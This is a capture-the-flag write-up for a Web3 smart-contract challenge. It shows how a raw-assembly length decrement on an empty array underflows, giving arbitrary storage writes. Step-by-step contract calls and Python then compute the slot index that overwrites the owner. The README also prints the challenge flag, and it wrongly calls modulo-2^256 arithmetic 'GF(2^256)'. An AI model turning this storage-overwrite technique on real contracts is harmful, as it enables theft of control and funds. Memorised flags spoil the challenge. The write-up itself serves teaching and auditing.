ESPILON-CTF-2026-Writeups/Web3/TACHIBANA_FIRMWARE_REGISTRY
2026-03-22 19:18:58 +01:00
..
README.md ESPILON CTF 2026 — Write-ups édition 1 (33 challenges) 2026-03-22 19:18:58 +01:00

TACHIBANA_FIRMWARE_REGISTRY — Solution

Difficulty: Insane | Category: Web3 | Flag: ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}

Overview

Smart contract challenge. The contract has a _trimStaleEntries() function that uses raw assembly to decrement firmwareHashes.length. When the array is empty (length=0), the assembly sub(len, 1) wraps to 2^256-1 — granting write access to all 2^256 storage slots via modifyFirmware().

Architecture

  • Port 1337/tcp: console (commands: info, abi, check)
  • Port 8545/tcp: Ethereum JSON-RPC node

Step 1 — Register as operator

contract.functions.registerOperator()

Verify firmwareHashes.length == 0 (array is empty — prerequisite for the underflow).

Step 2 — Trigger the underflow

contract.functions.auditFirmware()
# Internally: assembly { sstore(slot, sub(len, 1)) }
# With len=0 → new length = 2^256 - 1

Step 3 — Compute the target storage index

Solidity dynamic arrays store elements at keccak256(abi.encode(slot)) + index. firmwareHashes is at slot 2. To write to slot 0 (owner):

from web3 import Web3

array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
# base + target_index ≡ 0  (mod 2^256)
target_index = (2**256) - array_base

Step 4 — Overwrite the owner

player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:])
contract.functions.modifyFirmware(target_index, player_as_bytes32)
# slot 0 now contains our address → we are the new owner

Step 5 — Trigger emergency override as new owner

contract.functions.triggerEmergency()

Step 6 — Get the flag

check

Automated Solver

python3 solve.py <host>

Key Concepts

  • EVM unchecked arithmetic in assembly: sub(0, 1) wraps to 2^256-1 even in Solidity ≥0.8 when using raw assembly {}
  • Dynamic array storage layout: Elements stored at keccak256(slot) + index, enabling arbitrary storage writes via overflow
  • Fuzzing invariants: A custom property owner == deployer would have caught this immediately
  • Storage slot arithmetic: Computing wraparound index requires modular arithmetic over GF(2^256)

Flag

ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}

Author

Eun0us